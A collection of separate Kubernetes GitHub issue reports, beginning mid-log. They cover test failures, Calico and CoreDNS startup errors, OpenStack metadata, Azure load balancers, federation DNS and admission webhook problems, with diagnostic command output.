0xc82155b880>: {         errstatus: {             typemeta: {kind: \ status\ , apiversion: \ v1\ },             listmeta: {selflink: \ \ , resourceversion: \ \ },             status: \ failure\ ,             message: \ the server could not find the requested resource\ ,             reason: \ notfound\ ,             details: {name: \ \ , group: \ \ , kind: \ \ , causes: nil, retryafterseconds: 0},             code: 404,         },     }     the server could not find the requested resource not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/monitoring.go:261     issues about this test specifically:  29647  35627  38293  previous issues for this suite:  38478

as part of the governance discussions we are driving all assets and processes of the kubernetes project to be owned by sigs.  ownership of the test-infrastructure is tentatively defined as owned by sig/testing.  however we need to get consensus on if this is the correct sig, and define the scope of what the sig owns.  e.g. configuration of common test jobs, gcp quota, etc

this  https://github.com/kubernetes/kubernetes/blob/master/test/e2e/scheduling/predicates.go l233  is the test.  it uses cached results from listing the nodes, and they are inaccurate by the time the test runs.  in particular, the cached size is usually the full size of the machine  2000 millicores in my tests , but by the time the test runs, the kubelet has reduced the machine size to 1930 millicores  to account for overhead , but the test still uses the stale sizes to compute how many 500 millicore pods will fit.   @dchen1107 will recognize this problem. \r \r this often works fine, because we are only counting up an integer number of 500 millicore pods, and you have to \ get lucky\  for those 70 millicores to make the difference on one machine.  but sometimes they do make a difference, and i seem to be able to trigger this bug easily.\r \r _feel free to stop reading here_\r \r i will fix the test and backport it to 1.7.  this raises the question of how to manage \ releasing\  upgrades to conformance definitions  going forward.  i don't expect us to fix that here .  we don't need to release 1.7.7 just to get this fix, but we may want to issue fresh binaries as the definition of \ 1.7 conformance\  has been corrected.  @erictune mentioned this to me the other day.  one simple idea is to continue using the release-1.7 branch, but revise the conformance definitions separately, and with numbers that look different enough that they can't be confused with kubernetes point releases.  something like  c1.7 rev 0 ,  c1.7 rev 1    c  for conformance? .\r \r  /assign

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r \r  \r >  \r \r   what happened  :\r after i install kubernetes finished, then start to install calico, found that calico node failed to start.\r \r    \r  root@ib17b08 ~   docker  ps -a|grep calico\r f82fff476539        registry.ng.bluemix.net/mdelder/calico-node                       \ start_runit\             2 minutes ago       exited  0  about a minute ago                       k8s_calico-node-amd64_calico-node-amd64-jlt9j_kube-system_63b491c5-d5b1-11e7-b626-3440b5c71000_21\r 9c96eb0710bd        registry.ng.bluemix.net/mdelder/calico-cni                        \ /install-cni.sh\         about an hour ago   up about an hour                                    k8s_install-cni_calico-node-amd64-jlt9j_kube-system_63b491c5-d5b1-11e7-b626-3440b5c71000_1\r b5f13b3a68c4        registry.ng.bluemix.net/mdelder/pause:3.0                         \ /pause\                  about an hour ago   up about an hour                                    k8s_pod_calico-node-amd64-jlt9j_kube-system_63b491c5-d5b1-11e7-b626-3440b5c71000_1\r    \r    \r  root@ib17b08 ~   docker logs f82fff476539 -f\r skipping datastore connection test\r ipv4 address 9.21.53.18 discovered on interface enp22s0f4\r no as number configured on node resource, using global value\r using node name: ib17b08\r time=\ 2017-11-30t14:02:21z\  level=info msg=\ loading config from environment\ \r time=\ 2017-11-30t14:02:21z\  level=info msg=\ ipip tunnel address is still valid\  ip=10.1.174.192\r ...\r \r 017-11-30 14:03:15.898  info  181  ipsets.go 297: finished resync family=\ inet\  numinconsistenciesfound=0 resyncduration=998.993µs\r 2017-11-30 14:03:15.898  info  181  int_dataplane.go 689: finished applying updates to dataplane. msectoapply=1.329842\r 2017-11-30 14:03:15.987  error  181  health.go 166: readiness endpoint failed, trying to restart it... error=listen tcp :9099: bind: address already in use\r 2017-11-30 14:03:16.987  error  181  health.go 166: readiness endpoint failed, trying to restart it... error=listen tcp :9099: bind: address already in use\r 2017-11-30 14:03:17.988  error  181  health.go 166: readiness endpoint failed, trying to restart it... error=listen tcp :9099: bind: address already in use\r 2017-11-30 14:03:18.988  error  181  health.go 166: readiness endpoint failed, trying to restart it... error=listen tcp :9099: bind: address already in use\r    \r \r calico node reports 9099 was used. then check who is using 9099, found that apiserver using 9099 to connect to etcd. after restart apiserver, the calico node can start up successfully.\r \r    \r  root@ib17b08 ~   lsof  -i:9099\r command      pid user   fd   type  device size/off node name\r etcd      429522 root   31u  ipv6 7949591      0t0  tcp ib17b08:newoak->ib17b08:9099  established \r hyperkube 430140 root   11u  ipv4 7862219      0t0  tcp ib17b08:9099->ib17b08:newoak  established \r    \r    \r  root@ib17b08 ~   ps -fe|grep 430140\r root      430140  430123  5 08:02 ?        00:03:13 /hyperkube apiserver --secure-port=8001 --bind-address=0.0.0.0 --advertise-address=9.21.53.225 --insecure-port=8888 --insecure-bind-address=127.0.0.1 --etcd-servers=https://9.21.53.16:4001,https://9.21.53.17:4001,https://9.21.53.18:4001 --etcd-cafile=/etc/cfc/conf/etcd/ca.pem --etcd-certfile=/etc/cfc/conf/etcd/client.pem --etcd-keyfile=/etc/cfc/conf/etcd/client-key.pem --runtime-config=batch/v2alpha1,extensions/v1beta1=true,extensions/v1beta1/podsecuritypolicy=true,admissionregistration.k8s.io/v1alpha1 --admission-control=initializers,namespacelifecycle,limitranger,serviceaccount,defaultstorageclass,podsecuritypolicy,defaulttolerationseconds,resourcequota --oidc-issuer-url=https://mycluster.icp:9443/oidc/endpoint/op --oidc-client-id=80c4f252a98a20142909db736bbe9dd6 --oidc-ca-file=/etc/cfc/conf/platformauth-ca.crt --feature-gates=persistentlocalvolumes=true --oidc-groups-claim=sub --tls-cert-file=/etc/cfc/conf/server.cert --tls-private-key-file=/etc/cfc/conf/server.key --kubelet-client-certificate=/etc/cfc/conf/kubelet-client.crt --kubelet-client-key=/etc/cfc/conf/kubelet-client.key --client-ca-file=/etc/cfc/conf/ca.crt --service-account-key-file=/etc/cfc/conf/server.key --authorization-mode=rbac --min-request-timeout=300 --allow-privileged --requestheader-client-ca-file=/etc/cfc/conf/front/front-proxy-ca.pem --requestheader-username-headers=x-remote-user --requestheader-group-headers=x-remote-group --requestheader-allowed-names=mycluster.icp --requestheader-extra-headers-prefix=x-remote-extra- --proxy-client-cert-file=/etc/cfc/conf/front/front-proxy-client.pem --proxy-client-key-file=/etc/cfc/conf/front/front-proxy-client-key.pem --v=2 --service-cluster-ip-range=10.0.0.1/24\r root      499206  492681  0 09:05 pts/1    00:00:00 grep --color=auto 430140\r    \r \r  \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  \r \r   what happened  : the openstack cloud-provider plugin doesn't allow you to update the metadata url to use https. the http option is not available for me.\r \r i'm not able to use the config drive, so the metadata url is my only option: https://github.com/kubernetes/kubernetes/issues/47392\r \r you can see the url is statically set:\r \r https://github.com/kubernetes/kubernetes/blob/master/pkg/cloudprovider/providers/openstack/metadata.go\r \r    metadataurltemplate    = \ http://169.254.169.254/openstack/%s/meta_data.json\    \r \r   what you expected to happen  :\r \r i'd like to be able to configure the ability to use https and specify a ca-cert\r \r   anything else we need to know?  :\r self signed certs\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8.4\r - cloud provider or hardware configuration: openstack\r - os  e.g. from /etc/os-release : centos 7.4\r - kernel  e.g.  uname -a  : linux 3.10\r - install tools:\r - others:\r

 \r https://k8s-testgrid.appspot.com/sig-node-kubelet kubelet-serial-gce-e2e\r \r example failure: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-node-kubelet-serial/3609\r \r pods that should be using less than their limits are being evicted for exceeding them.  these tests were passing before being moved to the serial suite from the flaky suite.\r \r the only thing i can think of off the top of my head is that the gpu test adds something to containers that takes disk space.\r cc @mindprince is that a possibility?\r \r  /assign\r /

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r   \r \r   what happened  :\r \r the following tests fail to pass:\r \r     secrets should be consumable from pods in volume with mappings  nodeconformance   conformance \r     projected should be consumable from pods in volume with mappings  nodeconformance   conformance \r     secrets should be consumable from pods in volume with mappings and item mode set  nodeconformance   conformance \r     projected should be consumable from pods in volume with mappings and item mode set  nodeconformance   conformance \r \r the projected tests above are projecting secrets.\r \r inspecting the created pod's events, it can be seen that the pod fails to spawn because a volume was not found  1 . the kubelet's logs show similar errors  2 . but inspecting the secrets in the test's namespace reveals the fact that the secret does exist.\r \r these tests used to pass in the past. additionally, these tests do not have this issue:\r \r     configmap should be consumable from pods in volume with mappings  nodeconformance   conformance \r     projected should be consumable from pods in volume with mappings  nodeconformance   conformance \r     configmap should be consumable from pods in volume with mappings and item mode set  nodeconformance   conformance \r     projected should be consumable from pods in volume with mappings and item mode set  nodeconformance   conformance \r \r the projected tests above are projecting configmaps. even though they share the same name, they are   not   the same tests.\r \r the issue seems to be caused by the secret's item mapping itself:\r \r     volumes:\r     - name: projected-secret-volume\r     projected:\r         defaultmode: 420\r         sources:\r         - secret:\r             items:\r             - key: data-1\r               path: new-path-data-1\r             name: projected-secret-test-map-7126025d-6889-11e8-bce5-000c29738e2c\r \r \r as it can be seen, the item key is \ data-1\ , but inspecting the secret itself:\r \r     name:         projected-secret-test-map-7126025d-6889-11e8-bce5-000c29738e2c\r     namespace:    e2e-tests-projected-ghshw\r     labels:       <none>\r     annotations:  <none>\r \r     type:  opaque\r \r     data\r     ====\r     data_3:  8 bytes\r     data_1:  8 bytes\r     data_2:  8 bytes\r \r the secret's data is actually \ data_1\ , and because of this mismatch, the volume fails to setup.\r \r  1  https://paste.ubuntu.com/p/gz33gmpsg8/\r  2  https://paste.ubuntu.com/p/g46zrnvrkb/\r \r \r   what you expected to happen  :\r \r the tests to pass.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r run the mentioned e2e tests.\r \r   anything else we need to know?  :\r \r   environment  : \r - kubernetes version  use  kubectl version  : \r     - client: 1.9.3\r     - server: 1.10.3\r - os  e.g. from /etc/os-release : windows server 2016  version: 10.0.17134 n/a build 17134 \r - install tools: n/a\r

what happened  :\r \r the status of coredns pod is \ crashloopbackoff\ \r \r   what you expected to happen  :\r \r the status of coredns pod should be \ running\ \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r os: redhat 7.2\r install kubernetes 1.14 with flannel plugin\r \r ---- kubectl get pods -n kube-system\r name                              ready   status             restarts   age\r coredns-fb8b8dccf-flx5s           0/1     crashloopbackoff   13         62m\r coredns-fb8b8dccf-z55kg           0/1     crashloopbackoff   13         62m\r etcd-ib22b08                      1/1     running            1          66m\r kube-apiserver-ib22b08            1/1     running            1          66m\r kube-controller-manager-ib22b08   1/1     running            1          66m\r kube-flannel-ds-amd64-m8xbj       1/1     running            0          44m\r kube-proxy-2nd4t                  1/1     running            1          67m\r kube-scheduler-ib22b08            1/1     running            1          66m\r \r events:\r   type     reason            age                  from               message\r \r   warning  failedscheduling  54m  x9 over 64m     default-scheduler  0/1 nodes are available: 1 node s  had taints that the pod didn't tolerate.\r   warning  failedscheduling  47m  x5 over 52m     default-scheduler  0/1 nodes are available: 1 node s  had taints that the pod didn't tolerate.\r   normal   scheduled         46m                  default-scheduler  successfully assigned kube-system/coredns-fb8b8dccf-flx5s to ib22b08\r   normal   pulled            44m  x5 over 46m     kubelet, ib22b08   container image \ k8s.gcr.io/coredns:1.3.1\  already present on machine\r   normal   created           44m  x5 over 46m     kubelet, ib22b08   created container coredns\r   warning  failed            44m  x5 over 46m     kubelet, ib22b08   error: failed to start container   \ coredns\ : error response from daemon: oci runtime error: container_linux.go:262: starting container process caused \ process_linux.go:261: applying cgroup configuration for process caused   \\\ mkdir /sys/fs/cgroup/memory/kubepods/burstable/pod0aa610ef-624b-11e9-862e-40f2e9827400/coredns: cannot allocate memory\\\ \ \r   warning  backoff           56s  x210 over 45m   kubelet, ib22b08   back-off restarting failed container\r \r \r   anything else we need to know?  :\r \r   environment  :\r linux \r \r - kubernetes version  use  kubectl version  :\r \r --- rpm -qa |grep kube\r kubernetes-cni-0.7.5-0.x86_64\r kubelet-1.14.1-0.x86_64\r kubeadm-1.14.1-0.x86_64\r kubectl-1.14.1-0.x86_64\r \r client version: version.info{major:\ 1\ , minor:\ 14\ , gitversion:\ v1.14.1\ , gitcommit:\ b7394102d6ef778017f2ca4046abbaa23b88c290\ , gittreestate:\ clean\ , builddate:\ 2019-04-08t17:11:31z\ , goversion:\ go1.12.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 14\ , gitversion:\ v1.14.1\ , gitcommit:\ b7394102d6ef778017f2ca4046abbaa23b88c290\ , gittreestate:\ clean\ , builddate:\ 2019-04-08t17:02:58z\ , goversion:\ go1.12.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r - os  e.g:  cat /etc/os-release  :\r \r --- cat /etc/redhat-release \r red hat enterprise linux server release 7.2  maipo \r \r - kernel  e.g.  uname -a  :\r \r --- uname -a\r linux ib22b08 3.10.0-957.10.1.el7.x86_64  1 smp thu feb 7 07:12:53 utc 2019 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools:\r \r     kubeadm init --pod-network-cidr=10.244.0.0/16\r \r - network plugin and version  if this is a network-related bug :\r \r    flannel\r \r - others:\r

see examples e.g. in  26763,  26202 and  26840 the problem is that fields like  httpgetaction.port   of type  intstr.intorstring   in pkg/api/v1/types.go can't be handled by protobuf  there's several such fields , and string   methods of v1 api objects in generated.pb.go use  proto.compacttextstring   . this causes confusing messages like      proto: no encoder for type intstr.type  getproperties       while priting error messages referencing v1 api objects.

as a follow-up of https://github.com/kubernetes/kubernetes/pull/32387, this issue is a place to discuss which routes a generic client can expect from a genericapiserver. moreover,   as an example the kubectl implementation depends on the  /version  route to return something sensible for a number of commands  replace, edit, apply, convert, create, ...  because caching paths depend on it  cf. https://github.com/kubernetes/kubernetes/pull/32387 issuecomment-247068985 . do we want this?

if crashed and then next runs are broken due to  41323\r \r @mml

forked from  43337\r \r consider switching to  semantic.deepequal  since we can't distinguish between  null  and      in protobuf.\r \r cc @kubernetes/sig-apps-misc @kargakis

what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : zfs zfsstoragedriver\r \r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r   kubernetes version    use  kubectl version  : 1.6.3\r \r \r   environment  :\r -   cloud provider or hardware configuration  : aws\r -   os    e.g. from /etc/os-release : ubuntu\r -   kernel    e.g.  uname -a  : 4.4.0-53-generic\r -   install tools  : custom\r -   others  :\r \r \r   what happened  :\r \r when using zfs for docker storage, the kubelet will constantly spam messages like:\r \r    \r may 19 17:03:26 ip-172-30-6-75 kubelet 29891 : i0519 17:03:26.652968   29891 container.go:469  failed to update stats for container \ /kubepods/besteffort/pod98818b024fc9facec9f8ee660ec80c53/88a5e8a322a4f00b6413b7adb476a14076c9a52a6738656345d59cee8d664047\ : unable to determine device info for dir: : stat failed on  with error: no such file or directory, continuing to push stats\r may 19 17:03:42 ip-172-30-6-75 kubelet 29891 : i0519 17:03:42.486967   29891 container.go:469  failed to update stats for container \ /kubepods/burstable/pod77c58f1d38172c1216ecb94e82bb5cb1/3b6f9961161ef22f9ceedffdedaf477d75096616797d37112709fc3b63bd2d64\ : unable to determine device info for dir: : stat failed on  with error: no such file or directory, continuing to push stats\r may 19 17:03:50 ip-172-30-6-75 kubelet 29891 : i0519 17:03:50.109429   29891 container.go:469  failed to update stats for container \ /kubepods/burstable/podc67c05f87dcdb595ae78bd01328329e9/db30382a04cd1659fb65085059c93643813155069010cc38cfb795be5b9fb37c\ : unable to determine device info for dir: : stat failed on  with error: no such file or directory, continuing to push stats\r may 19 17:03:50 ip-172-30-6-75 kubelet 29891 : i0519 17:03:50.679914   29891 container.go:469  failed to update stats for container \ /kubepods/burstable/poda4fa953b8274909d5852539c981e797a/a06bc99a9781b23bc9342d31717bd6301f484d45803d172ea872b7336903bd22\ : unable to determine device info for dir: : stat failed on  with error: no such file or directory, continuing to push stats\r may 19 17:03:53 ip-172-30-6-75 kubelet 29891 : i0519 17:03:53.630803   29891 container.go:469  failed to update stats for container \ /kubepods/burstable/poda4fa953b8274909d5852539c981e797a/c611ee7832be42533872f9d0132a2126559385422cbfe14d92c10ffa47fbdc13\ : unable to determine device info for dir: : stat failed on  with error: no such file or directory, continuing to push stats\r may 19 17:03:56 ip-172-30-6-75 kubelet 29891 : i0519 17:03:56.727740   29891 container.go:469  failed to update stats for container \ /kubepods/burstable/podc04f713c02419048c7d55fdbd4e19c39/5d07dd09cafead044a34164f3868f31c50524bc6afa6b56dd7042a8f0867b324\ : unable to determine device info for dir: : stat failed on  with error: no such file or directory, continuing to push stats\r    \r \r   what you expected to happen  :\r \r newer versions of cadvisor support zfs: https://github.com/google/cadvisor/blob/e14ee9be3506d260847d263e26a3e9e27f83ad96/container/docker/handler.go l417\r \r the kubelet should either upgrade it's built-in cadvisor or support running cadvisor out-of-band so a newer version can be used.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r run kubelet on a host where docker is using zfs\r \r   anything else we need to know  :\r \r

is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r i followed the examples in https://kubernetes.io/docs/tasks/administer-cluster/declare-network-policy/ and i didn't manage to get the network isolation, i could access the deployed nginx even without the label.\r \r   what you expected to happen  :\r i expected the nginx pod to be isolated from pods without the label access: \ true\ \r \r   how to reproduce it  as minimally and precisely as possible   :\r in a cluster with flannel + calico  not the canal setup , follow the steps in https://kubernetes.io/docs/tasks/administer-cluster/declare-network-policy/ . in the step 'test access to the service when access label is not defined' you are supposed to get a timeout, but i get a response.\r \r   anything else we need to know?  :\r i have verified other network policies and they work  like, namespace isolation and then allowing some connections , but i am interested in achieving this without using a namespace wide network policy. \r \r version of software: \r flannel: 0.5.5\r calico-node: 1.3.0\r calico-cni: 1.9.1\r calico-policy-controller: 0.6.0\r \r   environment  :\r - kubernetes version  use  kubectl version  : version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.2\ , gitcommit:\ 477efc3cbe6a7effca06bd1452fa356e2201e1ee\ , gittreestate:\ clean\ , builddate:\ 2017-04-19t20:22:08z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration  : bare metal\r - os  e.g. from /etc/os-release :  centos 7\r - kernel  e.g.  uname -a  : 3.10.0-514.26.2.el7.x86_64\r - install tools: puppet\r

is this a bug report or feature request?  :\r \r  \r @kubernetes/sig-azure\r @kubernetes/sig-network\r \r   what happened  : \r \r i've created a kubernetes cluster on azure using acs-engine.\r \r in order to be able to communicate within a private network  azure vnet  between k8s resources and other azure resources i have used a custom vnet configuration which allows to specify the azure vnet resource you want k8s to be deployed into  which was already existing and had already some resources .\r \r when i tried to create an   internal   load balancer service  see following yaml  kubernetes tells me it fails to get the subnet he wants to use for the azure internal load balancer resource  it's the same subnet that is used by k8s masters nodes, so it does exist .\r \r    kind: service\r apiversion: v1\r metadata:\r   name: prometheus-internal-load-balancer\r   annotations:\r     service.beta.kubernetes.io/azure-load-balancer-internal: \ true\ \r spec:\r   selector:\r     app: prometheus\r     component: server\r   ports:\r     - protocol: tcp\r       port: 80\r       targetport: 9090\r   type: loadbalancer\r    \r \r   what you expected to happen  : azure   internal   load balancer resource created\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    \r sylvain@wsrabot:~/helm$ kubectl create -f service-internal-load-balancer.yml --context=k8s3-euw-dev --namespace=monitoring\r service \ prometheus-internal-load-balancer\  created\r \r sylvain@wsrabot:~/helm$ kubectl describe service --context=k8s3-euw-dev --namespace=monitoring prometheus-internal-load-balancer\r name:                   prometheus-internal-load-balancer\r namespace:              monitoring\r labels:                 <none>\r annotations:            service.beta.kubernetes.io/azure-load-balancer-internal=true\r selector:               app=prometheus,component=server\r type:                   loadbalancer\r ip:                     10.0.200.138\r port:                   <unset> 80/tcp\r nodeport:               <unset> 32552/tcp\r endpoints:              10.100.242.24:9090\r session affinity:       none\r events:\r   firstseen     lastseen        count   from                    subobjectpath   type            reason                          message\r   ---------     --------        -----   ----                    -------------   --------        ------                          -------\r   8m            2m              7       service-controller                      normal          creatingloadbalancer            creating load balancer\r   8m            2m              7       service-controller                      warning         creatingloadbalancerfailed      error creating load balancer  will retry : failed to create load balancer for service monitoring/prometheus-internal-load-balancer: ensure monitoring/prometheus-internal-load-balancer : lb k8s3-euw-dev-internal  - failed to get subnet: network-euw-dev-vnet/k8s3-master-euw-dev-subnet\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.6.6\r - cloud provider or hardware configuration: azure\r - os  e.g. from /etc/os-release : 16.04.2 lts  xenial xerus \r - kernel  e.g.  uname -a  : linux k8s-master-83339970-0 4.4.0-83-generic  106-ubuntu smp mon jun 26 17:54:43 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r \r

i have a federation with control plane running in a gke cluster, and joined a local openstack cluster. when i create a federated loadbalancer service, the lbs are created in both clusters and properly registered in my google clouddns zone. however, when my openstack cluster has no healthy endpoints  i scaled the deploy to 1 replica, that stayed in gke cluster , the a records in dns aren't updated to cnames.\r \r my os cluster is the \ europe-west\ , while the gke one is the \ asia-east\ .\r \r with both cluster healthy:\r \r    \r $ gcloud  dns record-sets list --zone=fed\r name                                                                      type   ttl    data\r microbot.default.fed.svc.asia-east1-a.asia-east1.mydomain.com.       a      180    104.199.160.255\r microbot.default.fed.svc.asia-east1.mydomain.com.                    a      180    104.199.160.255\r microbot.default.fed.svc.europe-west-1b.europe-west-1.mydomain.com.  a      180    10.11.4.90,150.165.85.44\r microbot.default.fed.svc.europe-west-1.mydomain.com.                 a      180    10.11.4.90,150.165.85.44\r microbot.default.fed.svc.mydomain.com.                               a      180    10.11.4.90,104.199.160.255,150.165.85.44\r    \r \r \r when i scale to 1 replica and the os endpoints become unhealthy:\r    \r $ gcloud  dns record-sets list --zone=fed\r name                                                                      type   ttl    data\r microbot.default.fed.svc.asia-east1-a.asia-east1.mydomain.com.       a      180    104.199.160.255\r microbot.default.fed.svc.asia-east1.mydomain.com.                    a      180    104.199.160.255\r microbot.default.fed.svc.europe-west-1b.europe-west-1.mydomain.com.  a      180    10.11.4.90,150.165.85.44\r microbot.default.fed.svc.europe-west-1.mydomain.com.                 a      180    10.11.4.90,150.165.85.44\r microbot.default.fed.svc.mydomain.com.                               a      180    104.199.160.255\r    \r note that the upper register is correctly updated to have just the google endpoint  104.199.160.255  but the \ europe\  records stay as a instead of cnames.\r \r  \r \r   what you expected to happen  :\r that  microbot.default.fed.svc.europe-west-1b.europe-west-1.mydomain.com.  had cname pointing to  microbot.default.fed.svc.europe-west-1.mydomain.com.  and  microbot.default.fed.svc.europe-west-1.mydomain.com.  pointing to  microbot.default.fed.svc.mydomain.com.  \r \r \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7.3\r \r  

is this a bug report or feature request?  :\r  \r   what happened  :\r after labeling clusters in a federation, when you type  kubectl get cluster <your-cluster> --show-labels  the  labels  field is empty.\r \r   what you expected to happen  :\r the  labels  fiels should contain information about the labels in the cluster\r   how to reproduce it  as minimally and precisely as possible   :\r 1.create a federation control pane in any cloud provider and any dns provider\r 2. label your cluster:\r    \r kubectl label cluster <cluster-name> key=value\r    \r 3. get info aboyut the cluster with the  --show-labels  flag:\r \r    \r kubectl get cluster <cluster-name> --show-labels\r    \r \r note: if you describe it, you see the labels being added:\r \r    \r kubectl describe <cluster-name>\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8.0\r - cloud provider or hardware configuration  : anyone\r - os  e.g. from /etc/os-release : ubuntu 16.04\r - kernel  e.g.  uname -a  : linux\r - install tools: curl\r - others:\r

is this a bug report or feature request?  :\r \r uncomment only one, leave it on its own line: \r  \r   what happened  :\r create rc file:\r apiversion: v1\r kind: replicationcontroller\r metadata: {name: gputest, namespace: hdp-teu-dia}\r spec:\r   replicas: 1\r   template:\r     metadata:\r       labels: {component: gputest}\r     spec:\r       containers:\r       - command:  /bin/bash, -c, touch /workspace/gputest.$ hostname .syslog && tail -f /workspace/gputest.$ hostname .syslog \r         image: 10.126.98.3:5000/tensorflow.hadoop:1.2.1-gpu-py2-58cluster\r         name: gputest\r         ports:\r         - {containerport: 8888}\r         - {containerport: 6006}\r         resources:\r           limits: {alpha.kubernetes.io/nvidia-gpu: '1', cpu: '2', memory: 2g}\r           requests: {cpu: '2', memory: 2g}\r         securitycontext: {privileged: true}\r         volumemounts:\r         - {mountpath: /workspace, name: workspace}\r       nodeselector: {type: gpu}\r       volumes:\r       - hostpath: {path: /opt/soft/dia/hdp_teu_dia/gputest}\r         name: workspace\r \r ! image  https://user-images.githubusercontent.com/31887880/33430939-4c3d9c26-d60d-11e7-9581-d49dbb8272c9.png \r \r now run the following command:\r date && /usr/local/bin/kubectl exec gputest-vzt7q --namespace=hdp-teu-dia -- /bin/sh -c \ sleep 16200\  && date\r ! image  https://user-images.githubusercontent.com/31887880/33431075-f5e00048-d60d-11e7-928d-a6128b08a511.png \r \r why only performed for 4 hours, not 4.5 hours？？？\r 16200s = 4.5h\r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use kubectl version :1.6.1\r - docker version 1.12.2, build bb80604\r - centos linux release 7.2.1511  core \r - kernel  e.g. uname -a : 3.10.0-327.el7.x86_64\r - nvidia: tesla k40c\r - nvidia driver version: 375.26\r

put an admission webhook on the namespace resource which fails  e.g. due to a certificate error . during launch of the apiserver a namespace is created  kube-system? kube-public?  which fails:\r \r    \r dec 03 18:10:28 master-3a4b-0.sur.space hyperkube 11278 : e1203 18:10:28.017345   11278 client_ca_hook.go:78  internal error occurred: failed calling admission webhook \ namespacereservations.admission.online.openshift.io\ : an error on the server  \ tls: failed to find \\\ certificate\\\  pem block in certificate input after skipping pem blocks of the following types:  public key \   has prevented the request from succeeding\r dec 03 18:10:28 master-3a4b-0.sur.space hyperkube 11278 : f1203 18:10:28.017716   11278 hooks.go:188  poststarthook \ ca-registration\  failed: unable to initialize client ca configmap: timed out waiting for the condition\r    \r \r kube-apiserver never starts successfully anymore. you have to recover this cluster e.g. via etcdctl. this is probably not acceptable.\r \r maybe we have to exclude webhooks from loopback connection?

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r \r add --node-annotations command flag for kubelet\r \r   what you expected to happen  :\r \r we want to store non-label-style information in node annotations when node registers, like nodeid,availablezone and so on.\r \r however currently, kubelet doesn't support this feature, it only support --node-labels. \r \r i think it's a general feature.\r

 \r a nodeauthorizer and noderestriction update was introduced in https://github.com/kubernetes/kubernetes/pull/67684 to restrict node updates to  csinodeinfo . however, integration testing proved to be more difficult because the original test suite was not set up to include apiextensions apiserver, so it wasn't possible to install crds. this issue tracks the effort for adding these integration tests  here  https://github.com/kubernetes/kubernetes/blob/master/test/integration/auth/node_test.go \r \r /assign\r /cc @liggitt @saad-ali

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r \  sig-storage  hostpath  it  should support existing single file subpath\  test failed on environments which don't support external ips like\r    \r  sig-storage  hostpath\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/host_path.go:33\r   should support existing single file subpath  it \r   /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/host_path.go:166\r \r   sep 20 18:35:24.596: couldn't get the external ip of host k8s-master with addresses  {internalip 192.168.1.108} {hostname k8s-master} \r \r   /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:5012\r ------------------------------\r sssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssep 20 18:35:31.093: info: running aftersuite actions on all node\r sep 20 18:35:31.093: info: running aftersuite actions on node 1\r    \r \r   what you expected to happen  :\r \r the test can pass successfully.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r just kick:\r    \r $ go run hack/e2e.go -- --provider=skeleton --test --test_args=\ --ginkgo.focus=should\\ssupport\\sexisting\\ssingle\\sfile\\ssubpath\ \r    \r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.11.1\r - cloud provider or hardware configuration: openstack\r - os  e.g. from /etc/os-release : ubuntu 16.04.4 lts\r - kernel  e.g.  uname -a  : 4.4.0-134-generic\r - install tools: kubeadm\r - others:\r

